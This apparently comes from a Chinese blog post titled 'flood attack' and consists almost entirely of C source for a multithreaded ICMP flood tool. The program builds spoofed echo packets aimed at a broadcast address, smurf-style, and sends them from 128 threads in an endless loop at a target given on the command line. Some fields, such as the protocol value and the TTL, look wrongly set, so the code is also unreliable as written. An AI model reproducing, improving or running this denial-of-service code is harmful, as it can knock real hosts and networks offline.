洪水攻擊

flood.c

#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip_icmp.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <pthread.h>

#define MAXCHILD 128
static struct sockaddr_in dest;
unsigned long inaddr = 1;
static int PROTO_ICMP = -1;
static int RAW = -1;
static alive = -1;
static int rawsock = 0;


/*-----------------------------------------------------------------
; 函數:myrandom()
------------------------------------------------------------------*/
static inline int myrandom(int begin, int end)
{
	int gap = end - begin + 1;
	int ret = 0;
	srand((unsigned)time(0));
	ret = random()%gap + begin;
	
	return ret;
}

/*-----------------------------------------------------------------
; 函數:Dos_icmp()
------------------------------------------------------------------*/
static void Dos_icmp(void)
{

	struct ip *iph;
	struct icmphdr *icmph;
	char *packet;
	int pktsize = sizeof(struct ip) + sizeof(struct icmphdr) + 64;
	packet = malloc(pktsize);
	iph = (struct ip*)packet;
	icmph = (struct icmphdr*)(packet + sizeof(struct ip));
	memset(packet, 0, pktsize);
	
	iph->ip_v = 4;
	iph->ip_hl= 5;
	iph->ip_tos = 0;
	iph->ip_len = htons(pktsize);
	iph->ip_id  = htons(getpid());
	iph->ip_off = 0;
	iph->ip_ttl = 0x0;
	iph->ip_p = PROTO_ICMP;
	iph->ip_sum = 0;

	inet_aton("192.168.0.182", &iph->ip_src);
    inet_aton("192.168.0.255", &iph->ip_dst);
	
	icmph->type = ICMP_ECHO;
	icmph->code = 0;
	icmph->checksum  = htons(~(ICMP_ECHO << 8));	

	sendto(rawsock, packet, pktsize, 0, (struct sockaddr*)&dest, sizeof(dest));
	
	free(packet);
}


/*-----------------------------------------------------------------
; 函數:DoS_fun()
------------------------------------------------------------------*/
static void* DoS_fun(void *argv)
{
	while(alive)
	{
		Dos_icmp();
	}
}

/*-----------------------------------------------------------------
; 函數:Dos_sig()
------------------------------------------------------------------*/
static void Dos_sig()
{
	alive = 0;
	
	return ;
}

/*---------------------------------------------------------
; 函數: icmp_usage()
-----------------------------------------------------------*/
static void icmp_usage()
{
	printf("flood aaa.bbb.ccc.ddd\n");
}

/*-----------------------------------------------------------------
; 函數:main()
------------------------------------------------------------------*/
int main(int argc, char *argv[])
{
	struct hostent *host = NULL;
	struct protoent *protocol = NULL;
	char protoname[] = "icmp";
	int i = 0;
	pthread_t pthread[MAXCHILD];
	int err = -1;
	
	alive = 1;
	signal(SIGINT, Dos_sig);
	
	if(argc < 2)
	{
		icmp_usage();
		return -1;
	}
	
	protocol = getprotobyname(protoname);
	if(protocol == NULL)
	{
		perror("getprotobyname failed !");
		return -1;
	}
	
	inaddr = inet_addr(argv[1]);
	if(inaddr == INADDR_NONE)
	{
		host = gethostbyname(argv[1]);
		if(host == NULL)
		{
			perror("gethostbyname failed !");
			return -1;
		}
		
		memcpy((char*)&dest.sin_addr, host->h_addr, host->h_length);
	}
	else
	{
		memcpy((char*)&dest.sin_addr, &inaddr, sizeof(inaddr));
	}
	
	rawsock = socket(AF_INET, SOCK_RAW, RAW);
	if(rawsock < 0)
	{
		rawsock = socket(AF_INET, SOCK_RAW, protocol->p_proto);
	}
	
	setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1"));
	
	for(i=0; i<MAXCHILD; i++)
	{
		err = pthread_create(&pthread[i], NULL, DoS_fun, NULL);
	}
	
	for(i=0; i<MAXCHILD; i++)
	{
		pthread_join(pthread[i], NULL);
	}
	
	close(rawsock);
	return 0;}


發佈了56 篇原創文章 · 獲贊 1 · 訪問量 6萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章